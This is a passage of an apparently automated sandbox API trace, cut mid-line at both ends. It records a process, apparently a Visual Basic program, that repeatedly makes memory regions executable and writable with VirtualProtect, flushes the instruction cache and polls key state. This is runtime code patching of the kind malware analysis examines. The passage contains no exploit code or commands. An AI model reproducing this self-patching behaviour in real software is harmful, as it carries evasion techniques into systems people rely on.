(in: lpAddress=0xf5d2798, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0101.975] GetCurrentProcess () returned 0xffffffff [0101.975] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2799, dwSize=0x2) returned 1 [0101.975] GetCurrentProcess () returned 0xffffffff [0101.975] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27b8, dwSize=0x14) returned 1 [0101.975] VirtualProtect (in: lpAddress=0xf5d27b8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0101.976] GetCurrentProcess () returned 0xffffffff [0101.976] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27b9, dwSize=0x2) returned 1 [0101.976] GetCurrentProcess () returned 0xffffffff [0101.976] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27d8, dwSize=0x14) returned 1 [0101.976] VirtualProtect (in: lpAddress=0xf5d27d8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0101.977] GetCurrentProcess () returned 0xffffffff [0101.977] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27d9, dwSize=0x2) returned 1 [0101.977] GetCurrentProcess () returned 0xffffffff [0101.977] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27f8, dwSize=0x14) returned 1 [0101.977] VirtualProtect (in: lpAddress=0xf5d27f8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0101.977] GetCurrentProcess () returned 0xffffffff [0101.977] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27f9, dwSize=0x2) returned 1 [0101.977] GetCurrentProcess () returned 0xffffffff [0101.977] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2818, dwSize=0x14) returned 1 [0101.977] VirtualProtect (in: lpAddress=0xf5d2818, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0101.978] GetCurrentProcess () returned 0xffffffff [0101.979] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2819, dwSize=0x2) returned 1 [0101.979] GetCurrentProcess () returned 0xffffffff [0101.979] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2838, dwSize=0x14) returned 1 [0101.979] VirtualProtect (in: lpAddress=0xf5d2838, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0101.979] GetCurrentProcess () returned 0xffffffff [0101.979] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2839, dwSize=0x2) returned 1 [0101.979] GetCurrentProcess () returned 0xffffffff [0101.979] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2858, dwSize=0x14) returned 1 [0101.979] VirtualProtect (in: lpAddress=0xf5d2858, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0101.980] GetCurrentProcess () returned 0xffffffff [0101.980] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2859, dwSize=0x2) returned 1 [0101.980] GetCurrentProcess () returned 0xffffffff [0101.980] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2878, dwSize=0x14) returned 1 [0101.980] VirtualProtect (in: lpAddress=0xf5d2878, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0101.981] GetCurrentProcess () returned 0xffffffff [0101.981] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2879, dwSize=0x2) returned 1 [0101.981] GetCurrentProcess () returned 0xffffffff [0101.981] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2898, dwSize=0x14) returned 1 [0101.981] VirtualProtect (in: lpAddress=0xf5d2898, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0101.981] GetCurrentProcess () returned 0xffffffff [0101.981] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2899, dwSize=0x2) returned 1 [0101.981] GetCurrentProcess () returned 0xffffffff [0101.981] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28b8, dwSize=0x14) returned 1 [0101.981] VirtualProtect (in: lpAddress=0xf5d28b8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0101.982] GetCurrentProcess () returned 0xffffffff [0101.982] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28b9, dwSize=0x2) returned 1 [0101.982] GetCurrentProcess () returned 0xffffffff [0101.982] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28d8, dwSize=0x14) returned 1 [0101.982] VirtualProtect (in: lpAddress=0xf5d28d8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0101.983] GetCurrentProcess () returned 0xffffffff [0101.983] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28d9, dwSize=0x2) returned 1 [0101.983] GetCurrentProcess () returned 0xffffffff [0101.983] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28f8, dwSize=0x14) returned 1 [0101.983] VirtualProtect (in: lpAddress=0xf5d28f8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0101.983] GetCurrentProcess () returned 0xffffffff [0101.983] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28f9, dwSize=0x2) returned 1 [0101.983] GetCurrentProcess () returned 0xffffffff [0101.984] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d1188, dwSize=0x14) returned 1 [0101.984] VirtualProtect (in: lpAddress=0xf5d1188, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0101.984] GetCurrentProcess () returned 0xffffffff [0101.984] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d1189, dwSize=0x2) returned 1 [0101.984] GetCurrentProcess () returned 0xffffffff [0101.984] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11a8, dwSize=0x14) returned 1 [0101.984] VirtualProtect (in: lpAddress=0xf5d11a8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0101.985] GetCurrentProcess () returned 0xffffffff [0101.985] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11a9, dwSize=0x2) returned 1 [0101.985] GetCurrentProcess () returned 0xffffffff [0101.985] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11c8, dwSize=0x14) returned 1 [0101.985] VirtualProtect (in: lpAddress=0xf5d11c8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0101.985] GetCurrentProcess () returned 0xffffffff [0101.985] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11c9, dwSize=0x2) returned 1 [0101.986] GetAsyncKeyState (vKey=3) returned 0 [0101.987] CRetailMalloc_Alloc () returned 0xcb2a518 [0101.987] memcpy (in: _Dst=0xcf94f48, _Src=0x1977bc, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0101.987] memcpy (in: _Dst=0xcb2a538, _Src=0x197824, _Size=0x18 | out: _Dst=0xcb2a538) returned 0xcb2a538 [0101.987] CRetailMalloc_Realloc () returned 0xcb2a518 [0101.987] CRetailMalloc_Free () returned 0x1 [0101.987] GetCurrentProcess () returned 0xffffffff [0101.987] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf38ec, dwSize=0x14) returned 1 [0101.987] VirtualProtect (in: lpAddress=0xcaf38ec, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974cc | out: lpflOldProtect=0x1974cc*=0x40) returned 1 [0101.988] GetCurrentProcess () returned 0xffffffff [0101.988] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf38ed, dwSize=0x2) returned 1 [0101.988] GetCurrentProcess () returned 0xffffffff [0101.988] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf390c, dwSize=0x14) returned 1 [0101.988] VirtualProtect (in: lpAddress=0xcaf390c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974cc | out: lpflOldProtect=0x1974cc*=0x40) returned 1 [0101.988] GetCurrentProcess () returned 0xffffffff [0101.988] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf390d, dwSize=0x2) returned 1 [0101.988] GetCurrentProcess () returned 0xffffffff [0101.988] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf392c, dwSize=0x14) returned 1 [0101.988] VirtualProtect (in: lpAddress=0xcaf392c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974cc | out: lpflOldProtect=0x1974cc*=0x40) returned 1 [0101.989] GetCurrentProcess () returned 0xffffffff [0101.989] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf392d, dwSize=0x2) returned 1 [0101.989] GetCurrentProcess () returned 0xffffffff [0101.989] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf394c, dwSize=0x14) returned 1 [0101.989] VirtualProtect (in: lpAddress=0xcaf394c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974cc | out: lpflOldProtect=0x1974cc*=0x40) returned 1 [0101.990] GetCurrentProcess () returned 0xffffffff [0101.990] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf394d, dwSize=0x2) returned 1 [0101.990] GetCurrentProcess () returned 0xffffffff [0101.990] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf396c, dwSize=0x14) returned 1 [0101.990] VirtualProtect (in: lpAddress=0xcaf396c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974cc | out: lpflOldProtect=0x1974cc*=0x40) returned 1 [0101.990] GetCurrentProcess () returned 0xffffffff [0101.990] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf396d, dwSize=0x2) returned 1 [0101.990] GetCurrentProcess () returned 0xffffffff [0101.990] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf398c, dwSize=0x14) returned 1 [0101.990] VirtualProtect (in: lpAddress=0xcaf398c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974cc | out: lpflOldProtect=0x1974cc*=0x40) returned 1 [0101.991] GetCurrentProcess () returned 0xffffffff [0101.991] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf398d, dwSize=0x2) returned 1 [0101.991] GetCurrentProcess () returned 0xffffffff [0101.991] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ac, dwSize=0x14) returned 1 [0101.991] VirtualProtect (in: lpAddress=0xcaf39ac, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974cc | out: lpflOldProtect=0x1974cc*=0x40) returned 1 [0101.992] GetCurrentProcess () returned 0xffffffff [0101.992] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ad, dwSize=0x2) returned 1 [0101.992] GetCurrentProcess () returned 0xffffffff [0101.992] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39cc, dwSize=0x14) returned 1 [0101.992] VirtualProtect (in: lpAddress=0xcaf39cc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974cc | out: lpflOldProtect=0x1974cc*=0x40) returned 1 [0101.992] GetCurrentProcess () returned 0xffffffff [0101.992] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39cd, dwSize=0x2) returned 1 [0101.992] GetCurrentProcess () returned 0xffffffff [0101.992] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ec, dwSize=0x14) returned 1 [0101.993] VirtualProtect (in: lpAddress=0xcaf39ec, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974cc | out: lpflOldProtect=0x1974cc*=0x40) returned 1 [0101.993] GetCurrentProcess () returned 0xffffffff [0101.993] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ed, dwSize=0x2) returned 1 [0101.993] GetCurrentProcess () returned 0xffffffff [0101.993] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a0c, dwSize=0x14) returned 1 [0101.993] VirtualProtect (in: lpAddress=0xcaf3a0c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974cc | out: lpflOldProtect=0x1974cc*=0x40) returned 1 [0102.052] GetCurrentProcess () returned 0xffffffff [0102.052] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a0d, dwSize=0x2) returned 1 [0102.052] GetCurrentProcess () returned 0xffffffff [0102.053] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a2c, dwSize=0x14) returned 1 [0102.053] VirtualProtect (in: lpAddress=0xcaf3a2c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974cc | out: lpflOldProtect=0x1974cc*=0x40) returned 1 [0102.053] GetCurrentProcess () returned 0xffffffff [0102.053] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a2d, dwSize=0x2) returned 1 [0102.053] GetCurrentProcess () returned 0xffffffff [0102.054] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a4c, dwSize=0x14) returned 1 [0102.054] VirtualProtect (in: lpAddress=0xcaf3a4c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974cc | out: lpflOldProtect=0x1974cc*=0x40) returned 1 [0102.054] GetCurrentProcess () returned 0xffffffff [0102.054] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a4d, dwSize=0x2) returned 1 [0102.054] GetCurrentProcess () returned 0xffffffff [0102.054] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2718, dwSize=0x14) returned 1 [0102.054] VirtualProtect (in: lpAddress=0xf5d2718, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974cc | out: lpflOldProtect=0x1974cc*=0x40) returned 1 [0102.055] GetCurrentProcess () returned 0xffffffff [0102.055] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2719, dwSize=0x2) returned 1 [0102.055] GetCurrentProcess () returned 0xffffffff [0102.055] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2738, dwSize=0x14) returned 1 [0102.055] VirtualProtect (in: lpAddress=0xf5d2738, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974cc | out: lpflOldProtect=0x1974cc*=0x40) returned 1 [0102.056] GetCurrentProcess () returned 0xffffffff [0102.056] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2739, dwSize=0x2) returned 1 [0102.056] GetCurrentProcess () returned 0xffffffff [0102.056] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2758, dwSize=0x14) returned 1 [0102.056] VirtualProtect (in: lpAddress=0xf5d2758, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974cc | out: lpflOldProtect=0x1974cc*=0x40) returned 1 [0102.060] GetCurrentProcess () returned 0xffffffff [0102.060] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2759, dwSize=0x2) returned 1 [0102.060] GetCurrentProcess () returned 0xffffffff [0102.060] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2778, dwSize=0x14) returned 1 [0102.060] VirtualProtect (in: lpAddress=0xf5d2778, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974cc | out: lpflOldProtect=0x1974cc*=0x40) returned 1 [0102.061] GetCurrentProcess () returned 0xffffffff [0102.061] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2779, dwSize=0x2) returned 1 [0102.061] GetCurrentProcess () returned 0xffffffff [0102.061] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2798, dwSize=0x14) returned 1 [0102.061] VirtualProtect (in: lpAddress=0xf5d2798, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974cc | out: lpflOldProtect=0x1974cc*=0x40) returned 1 [0102.062] GetCurrentProcess () returned 0xffffffff [0102.062] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2799, dwSize=0x2) returned 1 [0102.062] GetCurrentProcess () returned 0xffffffff [0102.062] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27b8, dwSize=0x14) returned 1 [0102.062] VirtualProtect (in: lpAddress=0xf5d27b8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974cc | out: lpflOldProtect=0x1974cc*=0x40) returned 1 [0102.062] GetCurrentProcess () returned 0xffffffff [0102.062] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27b9, dwSize=0x2) returned 1 [0102.062] GetCurrentProcess () returned 0xffffffff [0102.062] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27d8, dwSize=0x14) returned 1 [0102.063] VirtualProtect (in: lpAddress=0xf5d27d8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974cc | out: lpflOldProtect=0x1974cc*=0x40) returned 1 [0102.063] GetCurrentProcess () returned 0xffffffff [0102.063] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27d9, dwSize=0x2) returned 1 [0102.063] GetCurrentProcess () returned 0xffffffff [0102.063] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27f8, dwSize=0x14) returned 1 [0102.063] VirtualProtect (in: lpAddress=0xf5d27f8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974cc | out: lpflOldProtect=0x1974cc*=0x40) returned 1 [0102.064] GetCurrentProcess () returned 0xffffffff [0102.064] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27f9, dwSize=0x2) returned 1 [0102.064] GetCurrentProcess () returned 0xffffffff [0102.064] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2818, dwSize=0x14) returned 1 [0102.064] VirtualProtect (in: lpAddress=0xf5d2818, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974cc | out: lpflOldProtect=0x1974cc*=0x40) returned 1 [0102.064] GetCurrentProcess () returned 0xffffffff [0102.064] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2819, dwSize=0x2) returned 1 [0102.064] GetCurrentProcess () returned 0xffffffff [0102.065] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2838, dwSize=0x14) returned 1 [0102.065] VirtualProtect (in: lpAddress=0xf5d2838, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974cc | out: lpflOldProtect=0x1974cc*=0x40) returned 1 [0102.065] GetCurrentProcess () returned 0xffffffff [0102.065] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2839, dwSize=0x2) returned 1 [0102.065] GetCurrentProcess () returned 0xffffffff [0102.065] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2858, dwSize=0x14) returned 1 [0102.065] VirtualProtect (in: lpAddress=0xf5d2858, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974cc | out: lpflOldProtect=0x1974cc*=0x40) returned 1 [0102.066] GetCurrentProcess () returned 0xffffffff [0102.066] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2859, dwSize=0x2) returned 1 [0102.066] GetCurrentProcess () returned 0xffffffff [0102.066] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2878, dwSize=0x14) returned 1 [0102.066] VirtualProtect (in: lpAddress=0xf5d2878, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974cc | out: lpflOldProtect=0x1974cc*=0x40) returned 1 [0102.066] GetCurrentProcess () returned 0xffffffff [0102.067] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2879, dwSize=0x2) returned 1 [0102.067] GetCurrentProcess () returned 0xffffffff [0102.067] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2898, dwSize=0x14) returned 1 [0102.067] VirtualProtect (in: lpAddress=0xf5d2898, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974cc | out: lpflOldProtect=0x1974cc*=0x40) returned 1 [0102.067] GetCurrentProcess () returned 0xffffffff [0102.067] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2899, dwSize=0x2) returned 1 [0102.067] GetCurrentProcess () returned 0xffffffff [0102.067] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28b8, dwSize=0x14) returned 1 [0102.067] VirtualProtect (in: lpAddress=0xf5d28b8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974cc | out: lpflOldProtect=0x1974cc*=0x40) returned 1 [0102.068] GetCurrentProcess () returned 0xffffffff [0102.068] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28b9, dwSize=0x2) returned 1 [0102.068] GetCurrentProcess () returned 0xffffffff [0102.068] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28d8, dwSize=0x14) returned 1 [0102.068] VirtualProtect (in: lpAddress=0xf5d28d8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974cc | out: lpflOldProtect=0x1974cc*=0x40) returned 1 [0102.069] GetCurrentProcess () returned 0xffffffff [0102.069] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28d9, dwSize=0x2) returned 1 [0102.069] GetCurrentProcess () returned 0xffffffff [0102.069] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28f8, dwSize=0x14) returned 1 [0102.069] VirtualProtect (in: lpAddress=0xf5d28f8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974cc | out: lpflOldProtect=0x1974cc*=0x40) returned 1 [0102.069] GetCurrentProcess () returned 0xffffffff [0102.069] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28f9, dwSize=0x2) returned 1 [0102.069] GetCurrentProcess () returned 0xffffffff [0102.069] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d1188, dwSize=0x14) returned 1 [0102.069] VirtualProtect (in: lpAddress=0xf5d1188, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974cc | out: lpflOldProtect=0x1974cc*=0x40) returned 1 [0102.070] GetCurrentProcess () returned 0xffffffff [0102.070] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d1189, dwSize=0x2) returned 1 [0102.070] GetCurrentProcess () returned 0xffffffff [0102.070] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11a8, dwSize=0x14) returned 1 [0102.070] VirtualProtect (in: lpAddress=0xf5d11a8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974cc | out: lpflOldProtect=0x1974cc*=0x40) returned 1 [0102.071] GetCurrentProcess () returned 0xffffffff [0102.071] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11a9, dwSize=0x2) returned 1 [0102.071] GetCurrentProcess () returned 0xffffffff [0102.071] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11c8, dwSize=0x14) returned 1 [0102.071] VirtualProtect (in: lpAddress=0xf5d11c8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974cc | out: lpflOldProtect=0x1974cc*=0x40) returned 1 [0102.071] GetCurrentProcess () returned 0xffffffff [0102.071] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11c9, dwSize=0x2) returned 1 [0102.073] GetAsyncKeyState (vKey=3) returned 0 [0102.073] GetAsyncKeyState (vKey=3) returned 0 [0102.073] VarCmp (pvarLeft=0x197dcc, pvarRight=0x197dbc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0102.073] VarCmp (pvarLeft=0x197dcc, pvarRight=0x197dbc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0102.073] VarCmp (pvarLeft=0x197dcc, pvarRight=0x197dbc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0102.073] CRetailMalloc_Alloc () returned 0xcb2a578 [0102.073] memcpy (in: _Dst=0xcf94f48, _Src=0x1976bc, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0102.073] memcpy (in: _Dst=0xcb2a598, _Src=0x197724, _Size=0x18 | out: _Dst=0xcb2a598) returned 0xcb2a598 [0102.073] CRetailMalloc_Realloc () returned 0xcb2a578 [0102.073] CRetailMalloc_Free () returned 0x1 [0102.073] GetCurrentProcess () returned 0xffffffff [0102.073] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf38ec, dwSize=0x14) returned 1 [0102.074] VirtualProtect (in: lpAddress=0xcaf38ec, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0102.074] GetCurrentProcess () returned 0xffffffff [0102.074] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf38ed, dwSize=0x2) returned 1 [0102.074] GetCurrentProcess () returned 0xffffffff [0102.074] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf390c, dwSize=0x14) returned 1 [0102.074] VirtualProtect (in: lpAddress=0xcaf390c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0102.075] GetCurrentProcess () returned 0xffffffff [0102.075] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf390d, dwSize=0x2) returned 1 [0102.075] GetCurrentProcess () returned 0xffffffff [0102.075] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf392c, dwSize=0x14) returned 1 [0102.075] VirtualProtect (in: lpAddress=0xcaf392c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0102.076] GetCurrentProcess () returned 0xffffffff [0102.076] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf392d, dwSize=0x2) returned 1 [0102.076] GetCurrentProcess () returned 0xffffffff [0102.076] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf394c, dwSize=0x14) returned 1 [0102.076] VirtualProtect (in: lpAddress=0xcaf394c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0102.076] GetCurrentProcess () returned 0xffffffff [0102.076] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf394d, dwSize=0x2) returned 1 [0102.076] GetCurrentProcess () returned 0xffffffff [0102.076] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf396c, dwSize=0x14) returned 1 [0102.076] VirtualProtect (in: lpAddress=0xcaf396c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0102.077] GetCurrentProcess () returned 0xffffffff [0102.077] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf396d, dwSize=0x2) returned 1 [0102.077] GetCurrentProcess () returned 0xffffffff [0102.077] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf398c, dwSize=0x14) returned 1 [0102.077] VirtualProtect (in: lpAddress=0xcaf398c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0102.078] GetCurrentProcess () returned 0xffffffff [0102.078] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf398d, dwSize=0x2) returned 1 [0102.078] GetCurrentProcess () returned 0xffffffff [0102.078] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ac, dwSize=0x14) returned 1 [0102.078] VirtualProtect (in: lpAddress=0xcaf39ac, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0102.078] GetCurrentProcess () returned 0xffffffff [0102.078] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ad, dwSize=0x2) returned 1 [0102.078] GetCurrentProcess () returned 0xffffffff [0102.078] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39cc, dwSize=0x14) returned 1 [0102.079] VirtualProtect (in: lpAddress=0xcaf39cc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0102.079] GetCurrentProcess () returned 0xffffffff [0102.079] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39cd, dwSize=0x2) returned 1 [0102.079] GetCurrentProcess () returned 0xffffffff [0102.079] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ec, dwSize=0x14) returned 1 [0102.079] VirtualProtect (in: lpAddress=0xcaf39ec, 